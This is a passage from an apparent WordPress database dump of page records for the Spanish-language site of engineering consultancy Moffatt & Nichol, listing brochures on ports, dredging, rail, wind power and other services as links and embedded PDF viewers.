href=\"http://moffattnichol.com/admin/upload_bro/UWM_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Energía eólica</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        A Moffatt&Nichol está preparada para auxiliar seus clientes a enfrentar os desafios inerentes de projetos de desenvolvimento de energia eólica, tanto offshore quanto onshore. Combinamos <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/WIND1POWER1OVERVIEW1_PORTUGUESE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Consultoría comercial global </span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        O Grupo de Assessoria em Comércio Global da Moffatt&Nicholdá suporte às capacidades exclusivas da empresa em planejamento marítimo e de infraestrutura, oferecendo um conjunto de serviços <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/global-commerical-advisory-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GCAS1PORTUGUESE1PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Folletos-Portugués','','publish','open','open','','brochures-portuguese','','','2012-06-15 11:24:18','2012-06-15 11:24:18','',78,'http://moffattnichol.com/spanish/?page_id=1997',0,'page','',0),(2002,1,'2012-02-09 16:22:38','2012-02-09 10:52:38','<div class=\"content_faq\">\r\n\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>calificaciones y experiencia profesional - norteamérica</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nMoffatt & Nichol es un destacado consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un<br /><br /><br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div> \r\n<div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS,<br /> MEDIOAMBIENTALES E HÍDRICOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos.<br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-environmental-and-water-resources-qualifications/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/COASTAL%20ENVIRONMENTAL%20AND%20WATER%20RESOURCES%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n         \r\n</div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MEDIOAMBIENTAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               La excelencia de Moffatt & Nichol en servicios medioambientales fue desarrollada a lo largo de años de experiencia con estimulantes proyecto en todo el mundo. Si bien las firmas medioambientales tradicionales<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/environmental-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/ENVIRONMENTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Con más de sesenta años de experiencia, Moffatt & Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que<br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Como los frentes costeros de hoy en día se convierten en catalizadores de la actividad económica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeña un papel crítico<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PETRÓLEO Y GAS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de la industria del petróleo y el gas. Hoy en día, esta práctica ha<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n                  \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Inspección y<br /> Rehabilitación </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería estructural de frentes costeros y diseño marítimo, proporciona a sus clientes servicios de ingeniería<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION%20AND%20REHABILITATION%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Calificaciones y experiencia profesional-Norteamérica','','publish','open','open','','capabilities-expertise-north-america','','','2012-06-15 10:48:18','2012-06-15 10:48:18','',78,'http://moffattnichol.com/spanish/?page_id=2002',0,'page','',0),(2007,1,'2012-02-09 16:41:23','2012-02-09 11:11:23','<div class=\"content_faq\">\r\n<div class=\"for-emetybox\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>capacidades y experiencia profesional-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol es líder mundial con oficinas centrales en Estados Unidos, especializados en asesorías de diseño y planeación de estructuras que dan forma y estilo a zonas costeras, puertos y ríos.\r\n<br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-overview-Spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/OVERVIEW2QUALS2SPANISH222Reduced.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS,<br />\r\n        MEDIOAMBIENTALES E HÍDRICOS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La reputación de Moffatt & Nichol por la excelencia en el ambiente costero se ha desarrollado a lo largo de muchos años de experiencia con proyectos desafiantes.<br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-coastal-Spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/COASTAL2QUALS_SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n</div>\r\n</div>\r\n&nbsp;\r\n\r\n&nbsp; &nbsp;\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Español','','publish','open','open','','capabilities-expertise-spanish','','','2012-06-15 10:52:50','2012-06-15 10:52:50','',78,'http://moffattnichol.com/spanish/?page_id=2007',0,'page','',0),(2011,1,'2012-02-09 16:50:10','2012-02-09 11:20:10','<div class=\"content_faq\">\r\n<div class=\"for-emetybox\">\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>capacidades y experiencia profesional-portugués</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nA Moffatt & Nichol é sediada nos EUA e é líder global em consultoria de infraestrutura sendo especializada no planejamento e design de instalações que moldam nossas costas,<br /><br /><br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/capabilities-expertise-overview-portuguese/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_cap/OVERVIEW2QUALS22010_rev20321102portuguese.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div>         \r\n</div>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Capacidades y experiencia profesional-Portugués','','publish','open','open','','capabilities-expertise-portuguese','','','2012-06-15 10:57:15','2012-06-15 10:57:15','',78,'http://moffattnichol.com/spanish/?page_id=2011',0,'page','',0),(2033,1,'2012-02-09 19:18:21','2012-02-09 13:48:21','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Foldsite_6Feb_2012%2Fadmin%2Fupload_bro%2FSHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de instalaciones de reparaciÃ³n de astilleros y naves','','publish','open','open','','shipyard-and-ship-repair-facilities-brochure','','','2012-02-09 19:18:21','2012-02-09 13:48:21','',0,'http://moffattnichol.com/spanish/?page_id=2033',83,'page','',0),(2076,1,'2012-02-10 12:09:57','2012-02-10 06:39:57','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_cap%2FOVERVIEW2QUALS2SPANISH222Reduced.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Capacidades y experiencia profesional-DescripciÃ³n general-EspaÃ±ol','','publish','open','open','','capabilities-expertise-overview-spanish','','','2012-02-10 12:09:57','2012-02-10 06:39:57','',0,'http://moffattnichol.com/spanish/?page_id=2076',84,'page','',0),(2084,1,'2012-02-10 13:53:05','2012-02-10 08:23:05','','Capacidades y experiencia profesional-Recursos costeros-EspaÃ±ol','','publish','open','open','','capablities-experties-coastal-resources-spanish','','','2012-02-10 13:53:05','2012-02-10 08:23:05','',0,'http://moffattnichol.com/spanish/?page_id=2084',85,'page','',0),(2086,1,'2012-02-10 13:55:25','2012-02-10 08:25:25','','Capacidades y experiencia profesional-DescripciÃ³n general-PortuguÃ©s','','publish','open','open','','capablities-experties-overview-portuguese','','','2012-02-10 13:55:25','2012-02-10 08:25:25','',0,'http://moffattnichol.com/spanish/?page_id=2086',86,'page','',0),(2102,1,'2012-02-10 17:34:21','2012-02-10 12:04:21','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FAIR3QUALITY3FOR3PORTAL3UK.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de la calidad del aire','','publish','open','open','','air-quality-brochure','','','2012-02-10 17:34:21','2012-02-10 12:04:21','',0,'http://moffattnichol.com/spanish/?page_id=2102',87,'page','',0),(2104,1,'2012-02-10 17:37:30','2012-02-10 12:07:30','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FCRUISE3FERRY3FOR3PORTAL3UK.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de terminales de cruceros y de transbordadores','','publish','open','open','','cruise-and-ferry-terminals-brochure','','','2012-02-10 17:37:30','2012-02-10 12:07:30','',0,'http://moffattnichol.com/spanish/?page_id=2104',88,'page','',0),(2106,1,'2012-02-10 17:40:53','2012-02-10 12:10:53','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FWATERFRONT3FOR3PORTAL3UK.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de desarrollo de frentes costeros y puertos deportivos','','publish','open','open','','waterfront-development-and-marinas-brochure','','','2012-02-10 17:40:53','2012-02-10 12:10:53','',0,'http://moffattnichol.com/spanish/?page_id=2106',89,'page','',0),(2108,1,'2012-02-10 17:43:06','2012-02-10 12:13:06','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FTRANSPORTATION1FOR1PORTAL1UK.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de transporte','','publish','open','open','','transportation-brochure','','','2012-02-10 17:43:06','2012-02-10 12:13:06','',0,'http://moffattnichol.com/spanish/?page_id=2108',90,'page','',0),(2112,1,'2012-02-10 17:50:50','2012-02-10 12:20:50','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FOVERVIEW1BROCHURE1SPANISH.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de descripciÃ³n general-EspaÃ±ol','','publish','open','open','','overview-brochure-spanish','','','2012-02-10 17:50:50','2012-02-10 12:20:50','',0,'http://moffattnichol.com/spanish/?page_id=2112',90,'page','',0),(2114,1,'2012-02-10 17:53:23','2012-02-10 12:23:23','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FBULK1HANDLING1FACILITIES1Spanish1Portal.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de manipulaciÃ³n de graneles-EspaÃ±ol','','publish','open','open','','bulk-handling-brochure-spanish','','','2012-02-10 17:53:23','2012-02-10 12:23:23','',0,'http://moffattnichol.com/spanish/?page_id=2114',91,'page','',0),(2116,1,'2012-02-10 18:06:05','2012-02-10 12:36:05','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FCOASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de recursos costeros-EspaÃ±ol','','publish','open','open','','coastal-resources-brochure-spanish','','','2012-02-10 18:06:05','2012-02-10 12:36:05','',0,'http://moffattnichol.com/spanish/?page_id=2116',92,'page','',0),(2118,1,'2012-02-10 18:08:52','2012-02-10 12:38:52','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FDREDGING1SPANISH1portal.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de dragado-EspaÃ±ol','','publish','open','open','','dredging-brochure-spanish','','','2012-02-10 18:08:52','2012-02-10 12:38:52','',0,'http://moffattnichol.com/spanish/?page_id=2118',93,'page','',0),(2120,1,'2012-02-10 18:11:29','2012-02-10 12:41:29','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FPORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de puertos-EspaÃ±ol','','publish','open','open','','ports-harbors-brochure-spanish','','','2012-02-10 18:11:29','2012-02-10 12:41:29','',0,'http://moffattnichol.com/spanish/?page_id=2120',93,'page','',0),(2122,1,'2012-02-10 18:44:56','2012-02-10 13:14:56','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FRAIL1SERVICES1SPANISH1portal.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de servicios ferroviarios-EspaÃ±ol','','publish','open','open','','rail-services-brochure-spanish','','','2012-02-10 18:44:56','2012-02-10 13:14:56','',0,'http://moffattnichol.com/spanish/?page_id=2122',94,'page','',0),(2124,1,'2012-02-10 18:47:50','2012-02-10 13:17:50','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FURBAN1WATERFRONTS11SPANISH.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de frentes de mar urbanos y puertos deportivos-EspaÃ±ol','','publish','open','open','','urban-waterfronts-marinas-brochure-spanish','','','2012-02-10 18:47:50','2012-02-10 13:17:50','',0,'http://moffattnichol.com/spanish/?page_id=2124',95,'page','',0),(2126,1,'2012-02-10 18:50:51','2012-02-10 13:20:51','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FFERRY1TERMINALS1SPANISH1portal.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de terminales de transbordadores-EspaÃ±ol','','publish','open','open','','ferry-terminals-brochure-spanish','','','2012-02-10 18:50:51','2012-02-10 13:20:51','',0,'http://moffattnichol.com/spanish/?page_id=2126',96,'page','',0),(2128,1,'2012-02-10 18:53:05','2012-02-10 13:23:05','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FSHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de reparaciÃ³n de astilleros y naves-EspaÃ±ol','','publish','open','open','','shipyard-and-ship-repair-brochure-spanish','','','2012-02-10 18:53:05','2012-02-10 13:23:05','',0,'http://moffattnichol.com/spanish/?page_id=2128',97,'page','',0),(2130,1,'2012-02-10 18:55:44','2012-02-10 13:25:44','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FFERRY1TERMINALS.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto de energÃa eÃ³lica-EspaÃ±ol','','publish','open','open','','wind-power-brochure-spanish','','','2012-02-10 18:55:44','2012-02-10 13:25:44','',0,'http://moffattnichol.com/spanish/?page_id=2130',98,'page','',0),(2132,1,'2012-02-10 18:57:32','2012-02-10 13:27:32','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FCONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Folleto del desarrollo de la terminal de contenedores-EspaÃ±ol','','publish','open','open','','container-terminal-development-brochure-spanish','','','2012-02-10 18:57:32','2012-02-10 13:27:32','',0,'http://moffattnichol.com/spanish/?page_id=2132',99,'page','',0),(2136,1,'2012-02-10 19:04:16','2012-02-10 13:34:16','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FOVERVIEW_PORTUGUESE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','DescripciÃ³n general-portuguÃ©s','','publish','open','open','','overview-portuguese','','','2012-02-10 19:04:16','2012-02-10 13:34:16','',0,'http://moffattnichol.com/spanish/?page_id=2136',100,'page','',0),(2138,1,'2012-02-10 19:06:02','2012-02-10 13:36:02','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FBULK1HANDLING_PORTUGUESE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','ManipulaciÃ³n de graneles-portuguÃ©s','','publish','open','open','','bulk-handling-portuguese','','','2012-02-10 19:06:02','2012-02-10 13:36:02','',0,'http://moffattnichol.com/spanish/?page_id=2138',101,'page','',0),(2140,1,'2012-02-10 19:07:28','2012-02-10 13:37:28','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FCEWR_PORTUGUESE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Recursos costeros, medioambientales e hÃdricos-portuguÃ©s','','publish','open','open','','coastal-environmental-and-water-resources-portuguese','','','2012-02-10 19:07:28','2012-02-10 13:37:28','',0,'http://moffattnichol.com/spanish/?page_id=2140',102,'page','',0),(2142,1,'2012-02-10 19:08:57','2012-02-10 13:38:57','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FDREDGING_PORTUGUESE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Dragado-portuguÃ©s','','publish','open','open','','dredging-portuguese','','','2012-02-10 19:08:57','2012-02-10 13:38:57','',0,'http://moffattnichol.com/spanish/?page_id=2142',103,'page','',0),(2145,1,'2012-02-10 19:11:35','2012-02-10 13:41:35','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FPORTS1AND1HARBORS_PORTUGUESE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Puertos y terminales marÃtimas-portuguÃ©s','','publish','open','open','','ports-harbors-marine-terminals-portuguese','','','2012-02-10 19:11:35','2012-02-10 13:41:35','',0,'http://moffattnichol.com/spanish/?page_id=2145',104,'page','',0),(2147,1,'2012-02-10 19:13:02','2012-02-10 13:43:02','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FRAIL1SERVICES_PORTUGUESE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Servicios ferroviarios-portuguÃ©s','','publish','open','open','','rail-services-portuguese','','','2012-02-10 19:13:02','2012-02-10 13:43:02','',0,'http://moffattnichol.com/spanish/?page_id=2147',105,'page','',0),(2149,1,'2012-02-10 19:15:05','2012-02-10 13:45:05','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FUWM_PORTUGUESE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','Frentes de mar urbanos y puertos deportivos-portuguÃ©s','','publish','open','open','','urban-waterfronts-marinas-portuguese','','','2012-02-10 19:15:05','2012-02-10 13:45:05','',0,'http://moffattnichol.com/spanish/?page_id=2149',106,'page','',0),(2151,1,'2012-02-10 19:16:33','2012-02-10 13:46:33','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FWIND1POWER1OVERVIEW1_PORTUGUESE.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','EnergÃa eÃ³lica-portuguÃ©s','','publish','open','open','','wind-power-portuguese','','','2012-02-10 19:16:33','2012-02-10 13:46:33','',0,'http://moffattnichol.com/spanish/?page_id=2151',107,'page','',0),(2153,1,'2012-02-10 19:19:00','2012-02-10 13:49:00','<iframe src=\"http://docs.google.com/viewer?url=http%3A%2F%2Fwww.moffattnichol.com%2Fadmin%2Fupload_bro%2FGCAS1PORTUGUESE1PORTAL.pdf&embedded=true\" width=\"600\" height=\"780\" style=\"border: none;\"></iframe>','ConsultorÃa comercial global-portuguÃ©s','','publish','open','open','','global-commerical-advisory-portuguese','','','2012-02-10 19:19:00','2012-02-10 13:49:00','',0,'http://moffattnichol.com/spanish/?page_id=2153',108,'page','',0),(2172,1,'2012-02-10 19:46:22','2012-02-10 14:16:22','<iframe 